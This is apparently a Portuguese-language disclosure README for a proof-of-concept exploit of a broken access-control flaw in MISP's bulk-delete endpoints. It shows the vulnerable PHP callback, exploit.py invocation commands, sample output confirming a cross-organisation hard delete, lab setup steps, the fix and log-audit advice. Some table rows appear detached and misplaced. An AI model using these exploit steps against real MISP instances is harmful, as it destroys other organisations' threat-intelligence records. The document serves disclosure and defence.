
Prova de Conceito para CVE-2026-56423: Controle de acesso quebrado no deleteSelection do MISP (CWE-862, contribuidor exclui permanentemente Relatórios de Eventos/Grupos de Compartilhamento de outras organizações, CVSS 8.8)
deleteSelection Controle de Acesso QuebradoProva de conceito para uma falha de autorização ausente nos fluxos de exclusão em massa do MISP para Relatórios de Evento e Grupos de Compartilhamento. Os manipuladores deleteSelection autorizam cada item selecionado com um callback que ignora o item e retorna a permissão global de função (perm_add / perm_sharing_group) do chamador, em vez de uma verificação de propriedade por objeto. Um contribuidor de baixo privilégio (a função padrão "Usuário") pode, portanto, enviar IDs/UUIDs de relatórios pertencentes a qualquer organização e excluí-los permanentemente em toda a instância, mesmo que a ação delete por objeto corretamente protegida negue exatamente a mesma requisição.
| CVE | CVE-2026-56423 |
| Produto | MISP (Plataforma de Compartilhamento de Informações sobre Malware) core |
| Afetado | MISP CE/EE ≤ 2.5.41 |
| Corrigido | 2.5.42 |
| Classe | CWE-862 — Autorização Ausente (controle de acesso quebrado em nível de objeto) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Autenticação | Autenticado, baixo privilégio (qualquer função com perm_add, ex. "Usuário") |
| Publicado | 2026-06-22 |
| Status | CONFIRMADO — contribuidor exclui relatório de outra organização na 2.5.40; negado na 2.5.42 |
app/Controller/EventReportsController.php (tag v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignora $itemId → booleano global da função
},
]);
}
CRUDComponent::deleteSelection chama esse checkModifyCallback para cada id selecionado e exclui o objeto sempre que ele retorna verdadeiro:
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
Como o callback retorna $this->userRole['perm_add'] — um booleano global que é verdadeiro para a função padrão "Usuário" — a propriedade do relatório alvo nunca é verificada. Em contraste, a ação delete($id) de objeto único chama corretamente EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') e nega relatórios estrangeiros.
SharingGroupsController::deleteSelection tem o mesmo defeito usando perm_sharing_group.
A correção na 2.5.42 (commits ada02fa, f99b3f1) substitui o callback por uma verificação por item EventReport::fetchIfAuthorized($user, $itemId, 'delete').
Veja ANALYSIS.md para o passo a passo completo.
perm_add — a função Usuário embutida, concedida a contribuidores comuns em instâncias multi-organização.MISP.enable_themes = true. A ação deleteSelection é controlada pela ACL com AND(theming_enabled, perm_add), onde theming_enabled mapeia para a configuração MISP.enable_themes. Essa configuração está desativada por padrão, mas é uma flag de recurso de interface normal ativada em muitas instâncias (ela alimenta a UI de índice/lista v2). Com ela desativada, a ação retorna HTTP 403 antes que o callback defeituoso seja executado.python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| Requisição (contribuidor de baixo privilégio, relatório de outra organização) | v2.5.40 | v2.5.42 |
|---|---|---|
delete/{id} corretamente protegido | 404 negado | 404 negado |
A mesma requisição muda de sucesso para negação na correção, e a exclusão por objeto corretamente protegida é negada em ambas — provando que o bug é a autorização por objeto ausente em deleteSelection, não uma conta mal configurada. Transcrição completa em EVIDENCE.txt.
Qualquer usuário de baixo privilégio em uma instância MISP compartilhada pode excluir permanentemente Relatórios de Evento — narrativa de analista anexada a eventos de inteligência de ameaças — e Grupos de Compartilhamento pertencentes a outras organizações, em toda a instância. Isso é um comprometimento de integridade/disponibilidade entre inquilinos de uma plataforma de inteligência de ameaças na qual CERTs, ISACs e SOCs confiam.
EventReport::fetchIfAuthorized($user, $itemId, 'delete') por item selecionado; o mesmo padrão é aplicado aos Grupos de Compartilhamento.Audite os logs do MISP em busca de requisições EventReports/deleteSelection (e SharingGroups/deleteSelection) onde a organização do usuário atuante difere da organização proprietária do objeto excluído.
Pesquisa e PoC por Caio Fabrício (@BiiTts).
MIT — veja LICENSE.
deleteSelection do mesmo relatório| 200 — excluído permanentemente |
| 403 — "Não foi possível excluir"; relatório intacto |